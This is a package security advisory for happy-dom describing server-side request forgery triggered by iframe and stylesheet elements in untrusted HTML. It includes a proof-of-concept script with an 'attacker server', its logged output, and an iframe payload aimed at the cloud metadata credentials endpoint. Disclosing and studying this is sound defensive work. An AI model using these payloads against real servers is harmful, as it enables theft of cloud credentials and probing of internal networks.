Packages / happy-dom / Security

HighVulnerabilityGHSA-c8p4-j97h-3vg8CVE-2026-118660Published 28 Oct 2026

Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML

Your version

Affected releases · happy-dom

  • 20.x20.0.0 – 20.14.6No fix on this line yet
  • 19.x and older0.0.1 – 19.0.2No fix, no longer updated

20.x has no fix yet; the newest fixed line:

npm install happy-dom@21.0.0
Every release on a timeline
21.x
  1. Not affected

    21.0.0 – 21.0.4

    5 releases, latest

20.x
  1. Affected

    20.0.0 – 20.14.6

    88 releases

19.x
  1. Affected

    19.0.0 – 19.0.2

    3 releases

18.x
  1. Affected

    18.0.0 – 18.0.1

    2 releases

17.x
  1. Affected

    17.0.0 – 17.6.3

    51 releases

16.x
  1. Affected

    16.0.0 – 16.8.1

    29 releases

15.x
  1. Affected

    15.0.0 – 15.11.7

    42 releases

14.x
  1. Affected

    14.0.0 – 14.12.3

    44 releases

13.x
  1. Affected

    13.0.0 – 13.10.1

    53 releases

12.x
  1. Affected

    12.0.0 – 12.10.3

    28 releases

11.x
  1. Affected

    11.0.0 – 11.2.0

    11 releases

10.x
  1. Affected

    10.0.0 – 10.11.2

    35 releases

9.x
  1. Affected

    9.0.0 – 9.20.3

    60 releases

8.x
  1. Affected

    8.0.0 – 8.9.0

    33 releases

7.x
  1. Affected

    7.0.0 – 7.8.1

    40 releases

6.x
  1. Affected

    6.0.0 – 6.0.4

    5 releases

5.x
  1. Affected

    5.0.0 – 5.4.0

    9 releases

4.x
  1. Affected

    4.0.0 – 4.1.0

    4 releases

3.x
  1. Affected

    3.0.0 – 3.2.2

    6 releases

2.x
  1. Affected

    2.0.0 – 2.55.0

    106 releases

1.x
  1. Affected

    1.0.0 – 1.18.2

    58 releases

0.x
  1. Affected

    0.0.1 – 0.14.1

    68 releases

780 stable releases of happy-dom, oldest to newest, one row per major.

What happens

Summary

happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.

Affected Versions

  • happy-dom <= 20.8.9 (latest)

Vulnerable Behavior

By default, happy-dom has:

  • disableIframePageLoading: false — iframes fetch their src URL via real HTTP requests

  • disableCSSFileLoading: false — <link> stylesheets fetch their href URL via real HTTP requests

When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.

Proof of Concept

Verified test (attacker server receives requests):

const http = require('http');
const { Window } = require('happy-dom');

// Start attacker server
const srv = http.createServer((req, res) => {
    console.log(`SSRF HIT: ${req.method} ${req.url}`);
    res.writeHead(200, {'Content-Type': 'text/html'});
    res.end('<html><body>stolen</body></html>');
});

srv.listen(9995, () => {
    // iframe SSRF — happy-dom makes a real GET request
    const win1 = new Window({ url: 'http://localhost' });
    win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');

    // stylesheet SSRF — happy-dom makes a real GET request
    const win2 = new Window({ url: 'http://localhost' });
    win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});

Test output:

SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf

Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.

Cloud metadata attack scenario:

const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });

// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');

Impact

  • Cloud credential theft — <iframe src="http://169.254.169.254/..."> fetches AWS/GCP/Azure metadata

  • Internal network scanning — probe internal services and ports

  • Data exfiltration — read responses from internal APIs

  • Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input

Suggested Fix

Change defaults to disable external resource loading:

disableIframePageLoading: true,  // change from false
disableCSSFileLoading: true,     // change from false

Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.

A whole project to check? Paste its package.json in the dependency check: every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.